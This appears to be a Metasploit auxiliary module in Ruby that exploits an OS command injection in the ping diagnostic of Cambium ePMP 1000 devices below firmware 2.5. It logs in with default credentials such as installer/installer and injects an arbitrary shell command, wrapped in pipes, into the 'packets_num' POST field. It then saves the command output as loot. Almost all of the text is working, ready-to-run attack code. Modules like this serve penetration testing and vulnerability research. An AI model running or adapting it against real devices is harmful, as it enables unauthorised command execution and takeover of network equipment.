Cambium EPMP 1000 Ping Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::EPMP  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => "Cambium ePMP 1000 'ping' Command Injection (up to v2.5)",  
'Description' => %{  
This module exploits an OS Command Injection vulnerability in Cambium  
ePMP 1000 (<v2.5) device management portal. It requires any one of the  
following login credentials - admin/admin, installer/installer, home/home - to  
execute arbitrary system commands.  
},  
'References' =>  
[  
['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],  
['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']  
],  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'License' => MSF_LICENSE  
)  
)  
  
register_options(  
[  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),  
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),  
OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd'])  
], self.class  
)  
  
deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')  
end  
  
def run_host(ip)  
unless is_app_epmp1000?  
return  
end  
end  
  
# Command Execution  
def cmd_exec(config_uri, cookie)  
command = datastore['CMD']  
inject = '|' + "#{command}" + ' ||'  
clean_inject = CGI.unescapeHTML(inject.to_s)  
  
print_status("#{rhost}:#{rport} - Executing #{command}")  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => config_uri,  
'cookie' => cookie,  
'headers' => {  
'Accept' => '*/*',  
'Accept-Language' => 'en-US,en;q=0.5',  
'Accept-Encoding' => 'gzip, deflate',  
'X-Requested-With' => 'XMLHttpRequest',  
'ctype' => '*/*',  
'Connection' => 'close'  
},  
'vars_post' =>  
{  
'ping_ip' => '127.0.0.1', # This parameter can also be used for injection  
'packets_num' => clean_inject,  
'buf_size' => 0,  
'ttl' => 1,  
'debug' => '0'  
}  
}, 25  
)  
  
good_response = (  
res &&  
res.code == 200  
)  
  
if good_response  
path = store_loot('ePMP_cmd_exec', 'text/plain', rhost, res.body, 'Cambium ePMP 1000 Command Exec Results')  
print_status("#{rhost}:#{rport} - Results saved in: #{path}")  
else  
print_error("#{rhost}:#{rport} - Failed to execute command(s).")  
end  
end  
  
#  
# Login & initiate cmd_exec  
#  
  
def do_login(epmp_ver)  
if epmp_ver < '2.5' # <3.4.1 uses login_1  
cookie, _blah1, _blah2, _blah3, config_uri_ping = login_1(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)  
if cookie == 'skip' && config_uri_ping == 'skip'  
return  
else  
cmd_exec(config_uri_ping, cookie)  
end  
else  
print_error('This ePMP version is not vulnerable. Module will not continue.')  
end  
end  
end  
`